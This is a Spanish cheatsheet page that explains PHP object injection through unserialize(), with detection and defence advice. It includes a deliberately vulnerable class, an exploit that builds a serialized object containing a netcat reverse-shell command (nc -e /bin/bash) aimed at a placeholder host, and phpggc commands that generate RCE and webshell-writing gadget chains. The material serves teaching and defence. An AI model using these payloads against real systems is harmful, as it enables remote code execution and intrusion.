PHP Object Injection (Deserialization)
Arsenal completo de comandos en la cheatsheetLa inyección de objetos en PHP aparece cuando la aplicación pasa datos controlados por el usuario a unserialize(). La serialización convierte un objeto en una cadena de texto (O:4:"Ping":2:{...}) y unserialize() la reconstruye como objeto con sus propiedades tal cual venían. Si el atacante forja esa cadena, controla el estado interno del objeto que la aplicación va a usar.
El caso más directo (y el de esta máquina) no necesita una cadena POP compleja: basta con abusar de una propiedad de validación. Si el código hace algo así:
class Ping {
public $isValid = false;
public $ip;
function process() {
if (!$this->isValid) $this->validate(); // comprueba que $ip sea una IP
if ($this->isValid) system("ping -c1 " . $this->ip);
}
}
$obj = unserialize($_POST['data']);la validación solo se ejecuta cuando isValid es false. Si enviamos un objeto serializado con isValid ya en true, se salta la comprobación y $ip llega sin filtrar a system(): se concatena un ; y se inyecta el comando:
// generamos la cadena maliciosa
$o = new Ping();
$o->isValid = true;
$o->ip = "127.0.0.1; nc <ip> <port> -e /bin/bash";
echo serialize($o);Cuando existen magic methods (__wakeup, __destruct, __toString), la técnica escala a cadenas POP: encadenar objetos cuyos métodos automáticos, al deserializarse, terminan en una llamada peligrosa (escritura de fichero, eval, system). El código fuente que revela la clase suele filtrarse por un backup expuesto (index.php.bak), que sirve el PHP como texto plano.
Cadenas POP con phpggc
Si la app usa un framework/librería conocida (Laravel, Symfony, Monolog, Guzzle, WordPress...), phpggc genera la cadena POP lista para pegar, sin escribir el gadget a mano:
phpggc -l # listar gadgets disponibles
phpggc Monolog/RCE1 system id # cadena que ejecuta 'id'
phpggc -b Laravel/RCE9 system 'id' # salida en base64 para meter en la cookie/param
phpggc Guzzle/FW1 /var/www/html/sh.php /tmp/payload # escribir fichero (write gadget)Requisitos. Entrada del usuario que llegue a unserialize() y una clase cuyo estado o cuyos magic methods deriven en algo aprovechable. Conocer el código (por el .bak o por ingeniería inversa) facilita mucho la construcción del objeto.
Cómo detectarlo. La firma es un parámetro o cookie cuyo valor es una cadena serializada de PHP: empieza por O:<n>:"<Clase>" (objeto) o a:<n>:{ (array), un formato que ningún cliente legítimo envía en un campo normal; un WAF que detecte O:\d+:" lo marca. A menudo la precede la descarga de un backup de código (index.php.bak, .swp) en el log de acceso (fuga de la clase). La confirmación es el proceso web lanzando sh/bash/nc (vía el system() del gadget) como hijo (auditd/Sysmon for Linux).
Defensa. No deserializar datos que vengan del usuario; usar formatos de datos (JSON) en su lugar, y si unserialize() es imprescindible, restringir clases con allowed_classes. No dejar .bak accesibles. Comparte familia con la deserialización en Node.js y la deserialización de pickle.